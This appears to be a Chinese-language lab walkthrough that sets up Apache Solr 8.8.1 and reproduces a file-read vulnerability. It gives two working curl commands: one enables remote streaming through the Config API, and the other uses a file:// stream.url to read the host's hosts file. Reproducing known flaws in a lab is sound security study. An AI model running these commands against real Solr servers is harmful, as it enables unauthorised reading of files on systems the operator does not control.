一、环境搭建
下载源码
http://archive.apache.org/dist/lucene/solr/8.8.1/
下载完后解压进入bin目录并开cmd窗口
执行
solr start -p 3333
然后浏览器访问ip:3333
二、按如下步骤创建core
过程中没有出现报错
这一步如果出现红色报错的话,就按照如下步骤解决:
此时Solr已经在server/solr目录下已经创建了名字为new_core的文件夹,我们只需要把server/solr/configsets/default文件夹下的conf目录整个拷贝到new_core文件夹下,即可
再回到界面进行重新创建即可成功
三、漏洞复现
通过访问ip:3333/solr/admin/cores?indexInfo=false&wt=json,可以看到当前core名称
结合刚才得到的core名称访问http://192.168.43.244:3333/solr/new_core/config,得到以下页面
利用Config API打开默认关闭的requestDispatcher.requestParsers.enableRemoteStreaming开关(使用curl)。
curl -d "{ "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}" http://192.168.43.244:3333/solr/new_core/config -H "Content-type:application/json"
stream.url参数利用file伪协议读取本机的hosts的文件
curl "http://192.168.43.244:3333/solr/new_core/debug/dump?param=ContentStreams" -F "stream.url=file:///C:\Windows\System32\drivers\etc\hosts"